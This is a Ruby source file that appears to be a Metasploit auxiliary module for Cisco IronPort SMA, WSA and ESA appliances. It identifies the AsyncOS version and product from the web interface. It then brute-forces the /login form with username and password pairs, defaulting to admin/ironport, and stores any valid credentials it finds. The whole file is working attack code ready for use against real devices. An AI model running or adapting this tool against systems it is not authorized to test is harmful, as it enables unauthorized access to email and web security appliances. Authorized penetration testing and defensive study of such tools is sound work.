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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::AuthBrute
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  include Msf::Auxiliary::Scanner
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => 'Cisco Ironport Bruteforce Login Utility',
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      'Description'    => %{
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        This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS
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        versions, and performs login brute force to identify valid credentials.
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      },
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      'Author'         =>
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        [
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          'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
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        ],
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      'License'        => MSF_LICENSE,
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      'DefaultOptions' => { 'SSL' => true }
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    ))
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    register_options(
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      [
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        Opt::RPORT(443),
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        OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]),
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        OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"])
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      ])
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  end
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  def run_host(ip)
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    unless check_conn?
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      print_error("#{rhost}:#{rport} - Connection failed, Aborting...")
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      return
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    end
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    unless is_app_ironport?
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      print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.")
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      return
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    end
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    print_status("#{rhost}:#{rport} - Starting login brute force...")
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    each_user_pass do |user, pass|
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      do_login(user, pass)
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    end
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  end
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  def check_conn?
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    begin
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      res = send_request_cgi(
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      {
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        'uri'       => '/',
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        'method'    => 'GET'
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      })
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      if res
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        print_good("#{rhost}:#{rport} - Server is responsive...")
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        return true
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      end
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    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
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    end
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    false
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  end
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  #
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  # What's the point of running this module if the app actually isn't Cisco IronPort
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  #
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  def is_app_ironport?
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      res = send_request_cgi(
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      {
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        'uri'       => '/',
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        'method'    => 'GET'
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      })
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      if res && res.get_cookies
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        cookie = res.get_cookies
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        res = send_request_cgi(
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        {
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          'uri'       => "/help/wwhelp/wwhimpl/common/html/default.htm",
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          'method'    => 'GET',
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          'cookie'	   => cookie
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        })
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        if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS'))
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          version_key = /Cisco IronPort AsyncOS (.+? )/
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          version = res.body.scan(version_key).flatten[0].gsub('"','')
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          product_key = /for (.*)</
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          product = res.body.scan(product_key).flatten[0]
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          if (product == 'Security Management Appliances')
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            p_name = 'Cisco IronPort Security Management Appliance (SMA)'
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            print_good("#{rhost}:#{rport} - Running Cisco IronPort #{product} (SMA) - AsyncOS v#{version}")
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          elsif ( product == 'Cisco IronPort Web Security Appliances' )
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            p_name = 'Cisco IronPort Web Security Appliance (WSA)'
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            print_good("#{rhost}:#{rport} - Running #{product} (WSA) - AsyncOS v#{version}")
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          elsif ( product == 'Cisco IronPort Appliances' )
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            p_name = 'Cisco IronPort Email Security Appliance (ESA)'
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            print_good("#{rhost}:#{rport} - Running #{product} (ESA) - AsyncOS v#{version}")
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          end
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          return true
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        else
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          return false
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        end
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      else
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        return false
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      end
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  end
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  def service_details
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    super.merge({service_name: 'Cisco IronPort Appliance'})
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  end
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  #
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  # Brute-force the login page
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  #
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  def do_login(user, pass)
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    vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
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    begin
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      res = send_request_cgi(
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      {
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        'uri'       => '/login',
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        'method'    => 'POST',
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        'vars_post' =>
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          {
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            'action' => 'Login',
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            'referrer' => '',
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            'screen' => 'login',
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            'username' => user,
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            'password' => pass
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          }
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      })
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      if res and res.get_cookies.include?('authenticated=')
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        print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
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        store_valid_credential(user: user, private: pass, proof: res.get_cookies.inspect)
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        return :next_user
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      else
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        vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
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      end
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    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
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      print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
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      return :abort
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    end
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  end
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end
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